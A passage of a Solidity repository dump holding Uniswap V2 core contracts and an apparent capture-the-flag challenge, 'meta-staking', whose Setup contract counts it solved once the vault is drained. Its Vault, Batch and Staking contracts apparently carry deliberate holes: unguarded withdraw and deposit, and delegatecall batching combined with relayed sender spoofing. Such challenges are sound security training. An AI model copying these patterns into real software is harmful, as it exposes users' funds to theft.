external { 44 | require(msg.sender == feeToSetter, 'UniswapV2: FORBIDDEN'); 45 | feeToSetter = _feeToSetter; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/UniswapV2Pair.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import './interfaces/IUniswapV2Pair.sol'; 4 | import './UniswapV2ERC20.sol'; 5 | import './libraries/Math.sol'; 6 | import './libraries/UQ112x112.sol'; 7 | import './interfaces/IERC20.sol'; 8 | import './interfaces/IUniswapV2Factory.sol'; 9 | import './interfaces/IUniswapV2Callee.sol'; 10 | 11 | contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { 12 | using SafeMath for uint; 13 | using UQ112x112 for uint224; 14 | 15 | uint public constant MINIMUM_LIQUIDITY = 10**3; 16 | bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); 17 | 18 | address public factory; 19 | address public token0; 20 | address public token1; 21 | 22 | uint112 private reserve0; // uses single storage slot, accessible via getReserves 23 | uint112 private reserve1; // uses single storage slot, accessible via getReserves 24 | uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves 25 | 26 | uint public price0CumulativeLast; 27 | uint public price1CumulativeLast; 28 | uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event 29 | 30 | uint private unlocked = 1; 31 | modifier lock() { 32 | require(unlocked == 1, 'UniswapV2: LOCKED'); 33 | unlocked = 0; 34 | _; 35 | unlocked = 1; 36 | } 37 | 38 | function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { 39 | _reserve0 = reserve0; 40 | _reserve1 = reserve1; 41 | _blockTimestampLast = blockTimestampLast; 42 | } 43 | 44 | function _safeTransfer(address token, address to, uint value) private { 45 | (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); 46 | require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); 47 | } 48 | 49 | constructor() { 50 | factory = msg.sender; 51 | } 52 | 53 | // called once by the factory at time of deployment 54 | function initialize(address _token0, address _token1) external { 55 | require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check 56 | token0 = _token0; 57 | token1 = _token1; 58 | } 59 | 60 | // update reserves and, on the first call per block, price accumulators 61 | function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { 62 | require(balance0 <= type(uint112).max && balance1 <= type(uint112).max, 'UniswapV2: OVERFLOW'); 63 | uint32 blockTimestamp = uint32(block.timestamp % 2**32); 64 | uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired 65 | if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { 66 | // * never overflows, and + overflow is desired 67 | price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; 68 | price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; 69 | } 70 | reserve0 = uint112(balance0); 71 | reserve1 = uint112(balance1); 72 | blockTimestampLast = blockTimestamp; 73 | emit Sync(reserve0, reserve1); 74 | } 75 | 76 | // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) 77 | function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { 78 | address feeTo = IUniswapV2Factory(factory).feeTo(); 79 | feeOn = feeTo != address(0); 80 | uint _kLast = kLast; // gas savings 81 | if (feeOn) { 82 | if (_kLast != 0) { 83 | uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); 84 | uint rootKLast = Math.sqrt(_kLast); 85 | if (rootK > rootKLast) { 86 | uint numerator = totalSupply.mul(rootK.sub(rootKLast)); 87 | uint denominator = rootK.mul(5).add(rootKLast); 88 | uint liquidity = numerator / denominator; 89 | if (liquidity > 0) _mint(feeTo, liquidity); 90 | } 91 | } 92 | } else if (_kLast != 0) { 93 | kLast = 0; 94 | } 95 | } 96 | 97 | // this low-level function should be called from a contract which performs important safety checks 98 | function mint(address to) external lock returns (uint liquidity) { 99 | (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings 100 | uint balance0 = IERC20(token0).balanceOf(address(this)); 101 | uint balance1 = IERC20(token1).balanceOf(address(this)); 102 | uint amount0 = balance0.sub(_reserve0); 103 | uint amount1 = balance1.sub(_reserve1); 104 | 105 | bool feeOn = _mintFee(_reserve0, _reserve1); 106 | uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee 107 | if (_totalSupply == 0) { 108 | liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); 109 | _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens 110 | } else { 111 | liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); 112 | } 113 | require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); 114 | _mint(to, liquidity); 115 | 116 | _update(balance0, balance1, _reserve0, _reserve1); 117 | if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date 118 | emit Mint(msg.sender, amount0, amount1); 119 | } 120 | 121 | // this low-level function should be called from a contract which performs important safety checks 122 | function burn(address to) external lock returns (uint amount0, uint amount1) { 123 | (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings 124 | address _token0 = token0; // gas savings 125 | address _token1 = token1; // gas savings 126 | uint balance0 = IERC20(_token0).balanceOf(address(this)); 127 | uint balance1 = IERC20(_token1).balanceOf(address(this)); 128 | uint liquidity = balanceOf[address(this)]; 129 | 130 | bool feeOn = _mintFee(_reserve0, _reserve1); 131 | uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee 132 | amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution 133 | amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution 134 | require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); 135 | _burn(address(this), liquidity); 136 | _safeTransfer(_token0, to, amount0); 137 | _safeTransfer(_token1, to, amount1); 138 | balance0 = IERC20(_token0).balanceOf(address(this)); 139 | balance1 = IERC20(_token1).balanceOf(address(this)); 140 | 141 | _update(balance0, balance1, _reserve0, _reserve1); 142 | if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date 143 | emit Burn(msg.sender, amount0, amount1, to); 144 | } 145 | 146 | // this low-level function should be called from a contract which performs important safety checks 147 | function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { 148 | require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); 149 | (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings 150 | require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); 151 | 152 | uint balance0; 153 | uint balance1; 154 | { // scope for _token{0,1}, avoids stack too deep errors 155 | address _token0 = token0; 156 | address _token1 = token1; 157 | require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); 158 | if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens 159 | if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens 160 | if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); 161 | balance0 = IERC20(_token0).balanceOf(address(this)); 162 | balance1 = IERC20(_token1).balanceOf(address(this)); 163 | } 164 | uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; 165 | uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; 166 | require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); 167 | { // scope for reserve{0,1}Adjusted, avoids stack too deep errors 168 | uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); 169 | uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); 170 | require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); 171 | } 172 | 173 | _update(balance0, balance1, _reserve0, _reserve1); 174 | emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); 175 | } 176 | 177 | // force balances to match reserves 178 | function skim(address to) external lock { 179 | address _token0 = token0; // gas savings 180 | address _token1 = token1; // gas savings 181 | _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); 182 | _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); 183 | } 184 | 185 | // force reserves to match balances 186 | function sync() external lock { 187 | _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); 188 | } 189 | } 190 | -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/interfaces/IERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | interface IERC20 { 4 | event Approval(address indexed owner, address indexed spender, uint value); 5 | event Transfer(address indexed from, address indexed to, uint value); 6 | 7 | function name() external view returns (string memory); 8 | function symbol() external view returns (string memory); 9 | function decimals() external view returns (uint8); 10 | function totalSupply() external view returns (uint); 11 | function balanceOf(address owner) external view returns (uint); 12 | function allowance(address owner, address spender) external view returns (uint); 13 | 14 | function approve(address spender, uint value) external returns (bool); 15 | function transfer(address to, uint value) external returns (bool); 16 | function transferFrom(address from, address to, uint value) external returns (bool); 17 | } 18 | -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/interfaces/IUniswapV2Callee.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | interface IUniswapV2Callee { 4 | function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; 5 | } 6 | -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/interfaces/IUniswapV2ERC20.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | interface IUniswapV2ERC20 { 4 | event Approval(address indexed owner, address indexed spender, uint value); 5 | event Transfer(address indexed from, address indexed to, uint value); 6 | 7 | function name() external pure returns (string memory); 8 | function symbol() external pure returns (string memory); 9 | function decimals() external pure returns (uint8); 10 | function totalSupply() external view returns (uint); 11 | function balanceOf(address owner) external view returns (uint); 12 | function allowance(address owner, address spender) external view returns (uint); 13 | 14 | function approve(address spender, uint value) external returns (bool); 15 | function transfer(address to, uint value) external returns (bool); 16 | function transferFrom(address from, address to, uint value) external returns (bool); 17 | 18 | function DOMAIN_SEPARATOR() external view returns (bytes32); 19 | function PERMIT_TYPEHASH() external pure returns (bytes32); 20 | function nonces(address owner) external view returns (uint); 21 | 22 | function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; 23 | } 24 | -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/interfaces/IUniswapV2Factory.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | interface IUniswapV2Factory { 4 | event PairCreated(address indexed token0, address indexed token1, address pair, uint); 5 | 6 | function feeTo() external view returns (address); 7 | function feeToSetter() external view returns (address); 8 | 9 | function getPair(address tokenA, address tokenB) external view returns (address pair); 10 | function allPairs(uint) external view returns (address pair); 11 | function allPairsLength() external view returns (uint); 12 | 13 | function createPair(address tokenA, address tokenB) external returns (address pair); 14 | 15 | function setFeeTo(address) external; 16 | function setFeeToSetter(address) external; 17 | } 18 | -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/interfaces/IUniswapV2Pair.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | interface IUniswapV2Pair { 4 | event Mint(address indexed sender, uint amount0, uint amount1); 5 | event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); 6 | event Swap( 7 | address indexed sender, 8 | uint amount0In, 9 | uint amount1In, 10 | uint amount0Out, 11 | uint amount1Out, 12 | address indexed to 13 | ); 14 | event Sync(uint112 reserve0, uint112 reserve1); 15 | 16 | function MINIMUM_LIQUIDITY() external pure returns (uint); 17 | function factory() external view returns (address); 18 | function token0() external view returns (address); 19 | function token1() external view returns (address); 20 | function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); 21 | function price0CumulativeLast() external view returns (uint); 22 | function price1CumulativeLast() external view returns (uint); 23 | function kLast() external view returns (uint); 24 | 25 | function mint(address to) external returns (uint liquidity); 26 | function burn(address to) external returns (uint amount0, uint amount1); 27 | function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; 28 | function skim(address to) external; 29 | function sync() external; 30 | 31 | function initialize(address, address) external; 32 | } 33 | -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/libraries/Math.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | // a library for performing various math operations 4 | 5 | library Math { 6 | function min(uint x, uint y) internal pure returns (uint z) { 7 | z = x < y ? x : y; 8 | } 9 | 10 | // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) 11 | function sqrt(uint y) internal pure returns (uint z) { 12 | if (y > 3) { 13 | z = y; 14 | uint x = y / 2 + 1; 15 | while (x < z) { 16 | z = x; 17 | x = (y / x + x) / 2; 18 | } 19 | } else if (y != 0) { 20 | z = 1; 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/libraries/SafeMath.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) 4 | 5 | library SafeMath { 6 | function add(uint x, uint y) internal pure returns (uint z) { 7 | require((z = x + y) >= x, 'ds-math-add-overflow'); 8 | } 9 | 10 | function sub(uint x, uint y) internal pure returns (uint z) { 11 | require((z = x - y) <= x, 'ds-math-sub-underflow'); 12 | } 13 | 14 | function mul(uint x, uint y) internal pure returns (uint z) { 15 | require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /src/launchpad/lib/v2-core/libraries/UQ112x112.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) 4 | 5 | // range: [0, 2**112 - 1] 6 | // resolution: 1 / 2**112 7 | 8 | library UQ112x112 { 9 | uint224 constant Q112 = 2**112; 10 | 11 | // encode a uint112 as a UQ112x112 12 | function encode(uint112 y) internal pure returns (uint224 z) { 13 | z = uint224(y) * Q112; // never overflows 14 | } 15 | 16 | // divide a UQ112x112 by a uint112, returning a UQ112x112 17 | function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { 18 | z = x / uint224(y); 19 | } 20 | } 21 | -------------------------------------------------------------------------------- /src/meta-staking/Relayer.sol: -------------------------------------------------------------------------------- 1 | 2 | // SPDX-License-Identifier: UNLICENSED 3 | pragma solidity 0.8.15; 4 | 5 | contract Relayer { 6 | struct Signature { 7 | uint8 v; 8 | bytes32 r; 9 | bytes32 s; 10 | uint256 deadline; 11 | } 12 | 13 | struct Transaction { 14 | address from; 15 | address to; 16 | uint256 value; 17 | uint256 gas; 18 | bytes data; 19 | } 20 | 21 | struct TransactionRequest { 22 | Transaction transaction; 23 | Signature signature; 24 | } 25 | 26 | uint256 public nonce; 27 | 28 | function execute(TransactionRequest calldata request) external payable { 29 | require(msg.value == request.transaction.value, "Insufficient value"); 30 | 31 | bool success = _execute(request); 32 | require(success, "Execution failed"); 33 | } 34 | 35 | function executeBatch(TransactionRequest[] calldata requests) external payable { 36 | bool success; 37 | uint256 totalValue; 38 | 39 | for (uint256 i = 0; i < requests.length; i++) { 40 | success = _execute(requests[i]); 41 | require(success, "Execution failed"); 42 | 43 | totalValue += requests[i].transaction.value; 44 | } 45 | 46 | require(msg.value == totalValue, "Execution failed"); 47 | } 48 | 49 | 50 | function _execute(TransactionRequest calldata request) internal returns (bool success) { 51 | Transaction memory transaction = request.transaction; 52 | Signature memory signature = request.signature; 53 | 54 | bytes32 transactionHash = keccak256(abi.encode(transaction, nonce++)); 55 | address signer = ecrecover(transactionHash, signature.v, signature.r, signature.s); 56 | 57 | require(signer != address(0), "ecrecover failed"); 58 | require(signer == transaction.from, "Wrong signer"); 59 | require(block.timestamp <= signature.deadline, "Signature expired"); 60 | 61 | uint256 g = transaction.gas; 62 | address a = transaction.to; 63 | uint256 v = transaction.value; 64 | bytes memory d = abi.encodePacked(transaction.data, transaction.from); 65 | 66 | uint256 gasLeft; 67 | assembly { 68 | success := call(g, a, v, add(d, 0x20), mload(d), 0, 0) 69 | gasLeft := gas() 70 | } 71 | 72 | require(gasLeft >= transaction.gas / 63, "Insufficient gas"); 73 | } 74 | } -------------------------------------------------------------------------------- /src/meta-staking/Setup.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | import { GREY } from "./lib/GREY.sol"; 5 | import { Relayer } from "./Relayer.sol"; 6 | import { Staking } from "./Staking.sol"; 7 | 8 | contract Setup { 9 | bool public claimed; 10 | 11 | // GREY token 12 | GREY public grey; 13 | 14 | // Challenge contracts 15 | Relayer public relayer; 16 | Staking public staking; 17 | 18 | constructor() { 19 | // Deploy the GREY token contract 20 | grey = new GREY(); 21 | 22 | // Deploy relayer and staking contracts 23 | relayer = new Relayer(); 24 | staking = new Staking(address(grey), address(relayer)); 25 | 26 | // Mint 10,000 GREY to this address and stake them 27 | grey.mint(address(this), 10_000e18); 28 | grey.approve(address(staking.vault()), 10_000e18); 29 | staking.stake(10_000e18); 30 | } 31 | 32 | // Note: Call this function to claim 1000 GREY for the challenge 33 | function claim() external { 34 | require(!claimed, "already claimed"); 35 | claimed = true; 36 | 37 | grey.mint(msg.sender, 1000e18); 38 | } 39 | 40 | // Note: Challenge is solved when the vault has been drained 41 | function isSolved() external view returns (bool) { 42 | return grey.balanceOf(address(staking.vault())) == 0 && grey.balanceOf(msg.sender) >= 10_000e18; 43 | } 44 | } -------------------------------------------------------------------------------- /src/meta-staking/Staking.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { Batch } from "./lib/Batch.sol"; 5 | import { ERC20 } from "./lib/ERC20.sol"; 6 | import { RelayReceiver } from "./lib/RelayReceiver.sol"; 7 | import { Vault } from "./Vault.sol"; 8 | 9 | contract Staking is Batch, RelayReceiver { 10 | string constant public name = "Stake Token"; 11 | string constant public symbol = "STK"; 12 | uint8 constant public decimals = 18; 13 | 14 | event Transfer(address indexed from, address indexed to, uint256 amount); 15 | event Approval(address indexed owner, address indexed spender, uint256 amount); 16 | 17 | Vault public immutable vault; 18 | 19 | uint256 public totalSupply; 20 | 21 | mapping(address => uint256) public balanceOf; 22 | 23 | mapping(address => mapping(address => uint256)) public allowance; 24 | 25 | constructor(address _asset, address _relayer) RelayReceiver(_relayer) { 26 | vault = new Vault(_asset); 27 | } 28 | 29 | // ========================================= STAKING FUNCTIONS ======================================== 30 | 31 | function stake(uint256 amount) external { 32 | balanceOf[_msgSender()] += amount; 33 | totalSupply += amount; 34 | 35 | vault.deposit(_msgSender(), amount); 36 | } 37 | 38 | function unstake(uint256 amount) external { 39 | balanceOf[_msgSender()] -= amount; 40 | totalSupply -= amount; 41 | 42 | vault.withdraw(_msgSender(), amount); 43 | } 44 | 45 | // ========================================= ERC20 FUNCTIONS ======================================== 46 | 47 | function approve(address spender, uint256 amount) external returns (bool) { 48 | allowance[_msgSender()][spender] = amount; 49 | 50 | emit Approval(_msgSender(), spender, amount); 51 | 52 | return true; 53 | } 54 | 55 | function transfer(address to, uint256 amount) external returns (bool) { 56 | return transferFrom(_msgSender(), to, amount); 57 | } 58 | 59 | function transferFrom( 60 | address from, 61 | address to, 62 | uint256 amount 63 | ) public returns (bool) { 64 | if (from != _msgSender()) allowance[from][_msgSender()] -= amount; 65 | 66 | balanceOf[from] -= amount; 67 | balanceOf[to] += amount; 68 | 69 | emit Transfer(from, to, amount); 70 | 71 | return true; 72 | } 73 | } -------------------------------------------------------------------------------- /src/meta-staking/Vault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | import { IERC20 } from "./interfaces/IERC20.sol"; 5 | import { IFlashloanCallback } from "./interfaces/IFlashloanCallback.sol"; 6 | 7 | contract Vault { 8 | IERC20 public token; 9 | 10 | mapping(address => uint256) public depositAmount; 11 | 12 | constructor(address _token) { 13 | token = IERC20(_token); 14 | } 15 | 16 | function deposit(address from, uint256 amount) external { 17 | depositAmount[msg.sender] += amount; 18 | token.transferFrom(from, address(this), amount); 19 | } 20 | 21 | function withdraw(address to, uint256 amount) external { 22 | depositAmount[msg.sender] -= amount; 23 | token.transfer(to, amount); 24 | } 25 | 26 | function flashLoan(uint256 amount, bytes calldata data) external { 27 | token.transfer(msg.sender, amount); 28 | 29 | IFlashloanCallback(msg.sender).onFlashLoan(amount, data); 30 | 31 | token.transferFrom(msg.sender, address(this), amount); 32 | } 33 | } -------------------------------------------------------------------------------- /src/meta-staking/interfaces/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) 3 | 4 | pragma solidity >=0.8.0; 5 | 6 | /** 7 | * @dev Interface of the ERC-20 standard as defined in the ERC. 8 | */ 9 | interface IERC20 { 10 | /** 11 | * @dev Emitted when `value` tokens are moved from one account (`from`) to 12 | * another (`to`). 13 | * 14 | * Note that `value` may be zero. 15 | */ 16 | event Transfer(address indexed from, address indexed to, uint256 value); 17 | 18 | /** 19 | * @dev Emitted when the allowance of a `spender` for an `owner` is set by 20 | * a call to {approve}. `value` is the new allowance. 21 | */ 22 | event Approval(address indexed owner, address indexed spender, uint256 value); 23 | 24 | /** 25 | * @dev Returns the value of tokens in existence. 26 | */ 27 | function totalSupply() external view returns (uint256); 28 | 29 | /** 30 | * @dev Returns the value of tokens owned by `account`. 31 | */ 32 | function balanceOf(address account) external view returns (uint256); 33 | 34 | /** 35 | * @dev Moves a `value` amount of tokens from the caller's account to `to`. 36 | * 37 | * Returns a boolean value indicating whether the operation succeeded. 38 | * 39 | * Emits a {Transfer} event. 40 | */ 41 | function transfer(address to, uint256 value) external returns (bool); 42 | 43 | /** 44 | * @dev Returns the remaining number of tokens that `spender` will be 45 | * allowed to spend on behalf of `owner` through {transferFrom}. This is 46 | * zero by default. 47 | * 48 | * This value changes when {approve} or {transferFrom} are called. 49 | */ 50 | function allowance(address owner, address spender) external view returns (uint256); 51 | 52 | /** 53 | * @dev Sets a `value` amount of tokens as the allowance of `spender` over the 54 | * caller's tokens. 55 | * 56 | * Returns a boolean value indicating whether the operation succeeded. 57 | * 58 | * IMPORTANT: Beware that changing an allowance with this method brings the risk 59 | * that someone may use both the old and the new allowance by unfortunate 60 | * transaction ordering. One possible solution to mitigate this race 61 | * condition is to first reduce the spender's allowance to 0 and set the 62 | * desired value afterwards: 63 | * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 64 | * 65 | * Emits an {Approval} event. 66 | */ 67 | function approve(address spender, uint256 value) external returns (bool); 68 | 69 | /** 70 | * @dev Moves a `value` amount of tokens from `from` to `to` using the 71 | * allowance mechanism. `value` is then deducted from the caller's 72 | * allowance. 73 | * 74 | * Returns a boolean value indicating whether the operation succeeded. 75 | * 76 | * Emits a {Transfer} event. 77 | */ 78 | function transferFrom(address from, address to, uint256 value) external returns (bool); 79 | } -------------------------------------------------------------------------------- /src/meta-staking/interfaces/IFlashloanCallback.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | /// @title IFlashloanCallback 5 | /// @notice Interface for callbacks. 6 | interface IFlashloanCallback { 7 | /** 8 | * @notice Callback called when a flashloan occurs. 9 | * @dev The callback is called only if data is not empty. 10 | * @param _amount The amount of supplied tokens. 11 | * @param _data Arbitrary data passed to the `flashLoan` function. 12 | */ 13 | function onFlashLoan(uint256 _amount, bytes calldata _data) external; 14 | } -------------------------------------------------------------------------------- /src/meta-staking/lib/Batch.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity 0.8.15; 3 | 4 | abstract contract Batch { 5 | function batchExecute(bytes[] calldata data) external returns (bytes[] memory results) { 6 | results = new bytes[](data.length); 7 | for (uint256 i = 0; i < data.length; i++) { 8 | bool success; 9 | (success, results[i]) = address(this).delegatecall(data[i]); 10 | require(success, "Multicall failed"); 11 | } 12 | return results; 13 | } 14 | } -------------------------------------------------------------------------------- /src/meta-staking/lib/ERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity >=0.8.0; 3 | 4 | /// @notice Modern and gas efficient ERC20 + EIP-2612 implementation. 5 | /// @author Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC20.sol) 6 | /// @author Modified from Uniswap (https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/UniswapV2ERC20.sol) 7 | /// @dev Do not manually set balances without updating totalSupply, as the sum of all user balances must not exceed it. 8 | abstract contract ERC20 { 9 | /*////////////////////////////////////////////////////////////// 10 | EVENTS 11 | //////////////////////////////////////////////////////////////*/ 12 | 13 | event Transfer(address indexed from, address indexed to, uint256 amount); 14 | 15 | event Approval(address indexed owner, address indexed spender, uint256 amount); 16 | 17 | /*////////////////////////////////////////////////////////////// 18 | METADATA STORAGE 19 | //////////////////////////////////////////////////////////////*/ 20 | 21 | string public name; 22 | 23 | string public symbol; 24 | 25 | uint8 public immutable decimals; 26 | 27 | /*////////////////////////////////////////////////////////////// 28 | ERC20 STORAGE 29 | //////////////////////////////////////////////////////////////*/ 30 | 31 | uint256 public totalSupply; 32 | 33 | mapping(address => uint256) public balanceOf; 34 | 35 | mapping(address => mapping(address => uint256)) public allowance; 36 | 37 | /*////////////////////////////////////////////////////////////// 38 | EIP-2612 STORAGE 39 | //////////////////////////////////////////////////////////////*/ 40 | 41 | uint256 internal immutable INITIAL_CHAIN_ID; 42 | 43 | bytes32 internal immutable INITIAL_DOMAIN_SEPARATOR; 44 | 45 | mapping(address => uint256) public nonces; 46 | 47 | /*////////////////////////////////////////////////////////////// 48 | CONSTRUCTOR 49 | //////////////////////////////////////////////////////////////*/ 50 | 51 | constructor( 52 | string memory _name, 53 | string memory _symbol, 54 | uint8 _decimals 55 | ) { 56 | name = _name; 57 | symbol = _symbol; 58 | decimals = _decimals; 59 | 60 | INITIAL_CHAIN_ID = block.chainid; 61 | INITIAL_DOMAIN_SEPARATOR = computeDomainSeparator(); 62 | } 63 | 64 | /*////////////////////////////////////////////////////////////// 65 | ERC20 LOGIC 66 | //////////////////////////////////////////////////////////////*/ 67 | 68 | function approve(address spender, uint256 amount) public virtual returns (bool) { 69 | allowance[msg.sender][spender] = amount; 70 | 71 | emit Approval(msg.sender, spender, amount); 72 | 73 | return true; 74 | } 75 | 76 | function transfer(address to, uint256 amount) public virtual returns (bool) { 77 | balanceOf[msg.sender] -= amount; 78 | 79 | // Cannot overflow because the sum of all user 80 | // balances can't exceed the max uint256 value. 81 | unchecked { 82 | balanceOf[to] += amount; 83 | } 84 | 85 | emit Transfer(msg.sender, to, amount); 86 | 87 | return true; 88 | } 89 | 90 | function transferFrom( 91 | address from, 92 | address to, 93 | uint256 amount 94 | ) public virtual returns (bool) { 95 | uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. 96 | 97 | if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; 98 | 99 | balanceOf[from] -= amount; 100 | 101 | // Cannot overflow because the sum of all user 102 | // balances can't exceed the max uint256 value. 103 | unchecked { 104 | balanceOf[to] += amount; 105 | } 106 | 107 | emit Transfer(from, to, amount); 108 | 109 | return true; 110 | } 111 | 112 | /*////////////////////////////////////////////////////////////// 113 | EIP-2612 LOGIC 114 | //////////////////////////////////////////////////////////////*/ 115 | 116 | function permit( 117 | address owner, 118 | address spender, 119 | uint256 value, 120 | uint256 deadline, 121 | uint8 v, 122 | bytes32 r, 123 | bytes32 s 124 | ) public virtual { 125 | require(deadline >= block.timestamp, "PERMIT_DEADLINE_EXPIRED"); 126 | 127 | // Unchecked because the only math done is incrementing 128 | // the owner's nonce which cannot realistically overflow. 129 | unchecked { 130 | address recoveredAddress = ecrecover( 131 | keccak256( 132 | abi.encodePacked( 133 | "\x19\x01", 134 | DOMAIN_SEPARATOR(), 135 | keccak256( 136 | abi.encode( 137 | keccak256( 138 | "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" 139 | ), 140 | owner, 141 | spender, 142 | value, 143 | nonces[owner]++, 144 | deadline 145 | ) 146 | ) 147 | ) 148 | ), 149 | v, 150 | r, 151 | s 152 | ); 153 | 154 | require(recoveredAddress != address(0) && recoveredAddress == owner, "INVALID_SIGNER"); 155 | 156 | allowance[recoveredAddress][spender] = value; 157 | } 158 | 159 | emit Approval(owner, spender, value); 160 | } 161 | 162 | function DOMAIN_SEPARATOR() public view virtual returns (bytes32) { 163 | return block.chainid == INITIAL_CHAIN_ID ? INITIAL_DOMAIN_SEPARATOR : computeDomainSeparator(); 164 | } 165 | 166 | function computeDomainSeparator() internal view virtual returns (bytes32) { 167 | return 168 | 